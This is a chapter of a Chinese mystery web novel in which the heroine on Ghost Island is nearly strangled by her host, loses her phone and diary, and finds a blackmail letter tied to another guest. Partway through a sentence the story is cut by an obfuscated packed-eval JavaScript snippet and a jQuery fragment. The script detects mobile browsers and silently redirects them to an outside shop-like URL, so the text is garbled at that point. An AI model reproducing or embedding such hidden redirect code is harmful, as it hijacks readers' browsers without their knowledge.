10. 不是意外
作品:《幽灵岛的不速之客》 脖颈上的力道收紧,脑中逐渐空白,段希妙想拽开扼在喉咙的手,奈何力量悬殊,效果微乎其微。
“李启……”她费力地吐出几个字:“为……什么?”
自己不过是提出一个合理的要求,竟然直接把他激怒了,还想灭口!
难道李启反悔了?
意识逐渐飘忽,感觉灵魂快要剥离,就在她以为马上就要交代在这的时候,李启突然松了手。
大量空气争先恐后灌入鼻腔,段希妙踉跄几步,剧烈咳嗽起来。
李启眼神往下,锁定她略鼓的口袋,直接夺过里面的手机。
段希妙死死盯着他的举动,李启睥她一眼,突然露出不怀好意的笑容。
“密码”
“什么?”
段希妙顿了一下,察觉到李启的表情又变得僵硬,回道:“0707”
得到密码后,李启顺利解开手机,在段希妙的注视下,他仿照她以前的短信,不仅给PIA发送了例行短信,还“贴心”地给段父吃了颗定心丸。
“李先生好细心!”
李启既然能用她的手机发出短信,想必信号在短时间内恢复了,只要外面的祁昱行把握好时机,他们就能暂时联系上外界。
然而李启接下来的话却给她当头一棒。
“过奖。”他直接戳穿了段希妙的心思:“毕竟书房里才会有短暂的信号罢了。”
“……”
踏出书房的那一刻,段希妙感觉腿下发软,还没从刚刚的余劲儿中缓过来。
“小段,你怎么了?”就在路过客厅的时候,碰上了孙佳成。
“没事。”
孙佳成一脸担忧:“还说没事,我看你的脸色差极了。”
段希妙看着眼前的人,想到了什么:“对了,这岛上信号这么差,今天向协会的报备怎么办?”
“这个嘛,我跟童欣都是私自行动的,所以不用报备。”
孙佳成的话就像一盆冷水浇灭了段希妙的希望,她只能安慰自己,李启既然愿意遵守报备这一规则,想必是比起反抗带来的同归于尽,他更渴望调查出那四个人的下落。
“孙前辈,童欣腿上的伤口怎么样了?”
孙佳成羞愧地低下了头:“好多了,就怪我不好,忘记提醒她了……”
“你没跟她说这是野俾虫的伤吧?”
“没有没有!”
段希妙这才稍稍放心,既然事情已经发生,指责起不了任何作用,眼下如何进行下一步才是重中之重。
“对了”她想起什么:“李先生还有跟你们提起什么事情吗?”
“没有,他就跟我我们闲聊了几句,可能是他并不知道我们俩也是你的同伴吧!”
看样子李启并未跟孙佳成他们提起失踪案的事情,这是为什么呢?
这就很耐人寻味了,李启明明知道他俩的身份,却闭口不谈,只当寻常客人对待,照理说人越多调查得越快,李启此举又是为何?
保险起见,她选择暂时隐瞒,只为避免李启发疯。
她打起精神返回二楼,刚出电梯门,就看见郭萍正对着廊边的窗口发呆。
郭萍余光注意到她,却没给任何眼神,淡淡道:“跟你一起的小伙子让我帮忙带话,说让你去三楼找他。”
只说了三楼,但并未道明是在哪个房间,段希妙道过谢,便要前去赴约。
临走之际,她转头看向郭萍,问道:“郭姐,外面的雾气这么重,应该看不清什么吧。”
郭萍回应:“是啊,远的近的,高的矮的,都被这雾牢牢遮盖了。”
段希妙不再打扰她的雅兴,来到三楼,祁昱行就在走廊处等她。
二人穿过长廊,左右两边的门大大敞开,里面空无一人,就在段希妙以为这层就他们二人的时候,玛瑞拉出现在眼前。
只见她握着扫帚,可想而知是她打开的这些门。
“这些房间刚打扫好,二位请便!”
“辛苦了”段希妙微笑回应。
二人来到相对空旷的琴室,段希妙只讲了李启抢走她手机的事情,对其它的闭口不提。
祁昱行推断:“看来他知道我并不是你的同事,既然他让我们一起行动,估计也知道我是侦探社的人。”
这就有些细思极恐了,如果说段希妙是李启一开始就选中的人选,那他则是李启计划中的变数,而李启却似乎早就知道他的身份。
电光火石之间,段希妙突然提出一个大胆的设想。
“你说,如果我们遇到的那个人真是失踪者四人之一,会不会混在我们之中?”
这个想法过于大胆,祁昱行愣了一下,提出疑问:“有何依据?”
段希妙开始分析起来:“你想,此人能在幽灵岛来去自如,还能不被李启发现,肯定对幽灵岛的结构了如指掌,幽灵岛自从被李启大改翻新后,除了经常在岛上的人,还能有谁能这么了解呢?”
“了解到,每次我们一追他,就能被其轻松甩开。”
祁昱行顺着她的话:“那你的意思是,陈峰和玛瑞拉?”
段希妙并未确定:“按照年龄来看的话,陈峰对不上,按照资料来看的话,玛瑞拉也不符合。”
陈峰都40多岁了,而玛瑞拉还在上大学,只是来幽灵岛干几天兼职,据说还是被陈峰亲自介绍来的。
“嘶——”
段希妙又把目标范围扩大,意外发现,李启邀请来的这几个客人中,除了郭萍以外,其余人的年龄条件大差不差,能分别对上四人之一。
“难道李启的侄女夏兰,其实是李启的妹妹林蕊?或者李启的外甥韩谨,其实是陈渝或者刘子顺?”
祁昱行:“如果真是这样,也太抓马了吧。”
段希妙早已沉浸在自己的设想里无法自拔:“你说,要是让李太太知道自己的亲戚全部变成李启的故友,那简直太精彩了!”
段希妙本当玩笑猜猜,但是说着说着,她竟觉得有几分可信。
现在别墅内可是一点信号都没有,郭萍沉浸在画作中,而欧阳露也不是喜欢泡在电子产品上的人,那夏兰和韩谨在此刻会在干什么呢?
在之前饭桌上的闲聊中可以看出,夏兰是个超级网络冲浪选手,韩谨也不例外,按照二人的性子,又怎会不与李启吐槽?
段希妙想起那本日记还在身上,想着从里面找找线索。
“诶?东西怎么找不到了!”她左右翻找自己的口袋,却空空如也。
祁昱行问道:“在找什么?”
“就是我在22号木屋下面顺出来的日记本啊,不会是掉出来了吧!”
在确认日记本真的丢失后,段希妙脸上一烫,急躁地冒出一层热汗。
怎么会掉出来呢?会掉到哪里?
日记本里有很多不为人知的信息,若是被别人捡到,势必会引来一些麻烦,仅思考片刻,她就决定按原路返回寻找。
“我跟你一起。”
“不要”段希妙觉得两个人干同一件事情效率太慢:“我自己就行,反正晚上宴会就开始了,你可以去探听一下别人的虚实,看有没有什么线索。”
段希妙不给他拒绝的机会,刚说完,一下就没了影。
“也行”祁昱行喃喃道。
无论是一楼还是二楼,明明就这么一块地方,可段希妙却怎么也找不到那本丢失的日记本。
不会是掉在外面了吧!那就坏了。
段希妙沿着早上那条路,聚精会神
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17471042|201480||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
地扫视曾经路过的的地方,眼都快看花了,都没找到任何日记本的痕迹。
她揉了揉眼,眼神不经意瞟过草堆,感觉模糊的嫩绿色中点缀着一抹褐色。
找到了?在看清草堆中挂着什么东西后,段希妙快步上前,遗憾的是,这并不是她要找的东西。
凑近了看,这好像是一张信纸,折叠之中还漏出几行黑字。
段希妙夹出这张纸,展开。
“亲爱的夏兰小姐,为了表达我对上件事情的诚挚歉意,又为了下一步的行动,我将会在中午十一点在34号木屋旁与您会面,期待您的前来!”
“深知您受某件事折磨许久,请您放心,经此最后的行动,我们会将录像尽数删除,保您永无后患!”
上件事情?下一步的行动?某件事?手指摩挲着光滑的纸张,段希妙感觉自己好像发现了什么不得了的事情。
回想起早上的情形,十一点左右,不就是他们碰见夏兰的时间吗?
为了印证自己的猜想,她根据信上的指示,沿着这条路往前走,找到了信中提到的34号木屋。
熟悉的场景映入眼帘,果然是夏兰受到袭击的地方。
夏兰与围巾胖子竟然认识!为胖子做过事,应该是受到了他的威胁。
至于胖子为什么要灭口,有两个方向,一来是夏兰拒绝了上次的行动,胖子觉得她不听话,于是决定灭口。
二来则是胖子还用得上夏兰,但今天提出的“下一步行动”又被拒绝了,为了计划不被泄露,胖子决定灭口。
多亏他们出现及时,不然可就酿成大祸了。
段希妙习惯性地将信纸揣在口袋,若有所思:所谓的下一步行动,究竟是幌子,还是真有其事呢?
不管怎么说,防备点总没错,她又在附近巡视了一圈,确定没看见日记本后,原路返回别墅。
回到别墅后,她并未着急干别的事情,而是叩响了夏兰的房门。
门被打开一条缝,夏兰只露出一双警惕的眼睛:“有什么事吗?”
段希妙看她这么防备自己,说道:“我很担心你,所以来看看你,我能进去坐坐吗?”
“有事门口说,没什么事我要关门了!”
眼前嚣张跋扈的夏兰与早上惊恐万分的夏兰完全不是同一个人,如此恶劣的态度,要不是有事要问,段希妙都不想管她。
“门口说也可以,不过发生了那样的事情,这里的隔音又不好,要是被别人听见……”
怕被直接轰走,段希妙将口袋中的信纸露出一角,夏兰看到后,瞳孔迅速扩大,她急急忙忙地翻找自己的身上,发现信纸早已不知所踪。
她将门缝拉开,左顾右盼,确定没人后,直接把段希妙拽了进来。
“我的东西怎么在你手上?”夏兰质问道,但语气不似方才那般恶劣。
段希妙回道:“外面捡的。”
“上面的内容你看了吗?”
“看了。”
闻言,夏兰瞬间面如死灰:“那你想怎样?”
这可让段希妙听不懂了,信上说的很隐晦,她都不知道夏兰被威胁的事情是什么,怎么夏兰一副被撞破了秘密一般?
都说人对有着同样遭遇的人会放下戒备,为了更好套出有关胖子的线索,段希妙仅思考片刻,就在脑海中编造了一副说辞。
“你还记得我问你围巾的事情吗?”段希妙开始酝酿情绪,装出一副受害者的态度。
“其实,我也有事被他威胁了,所以看到他想杀你,我特别害怕……”
本以为套话要寻寻渐进,可没想到夏兰接下来就给她投了一颗重磅炸弹。
“你说的是真的吗?”夏兰突然激动起来:“你也被陈渝威胁了!”

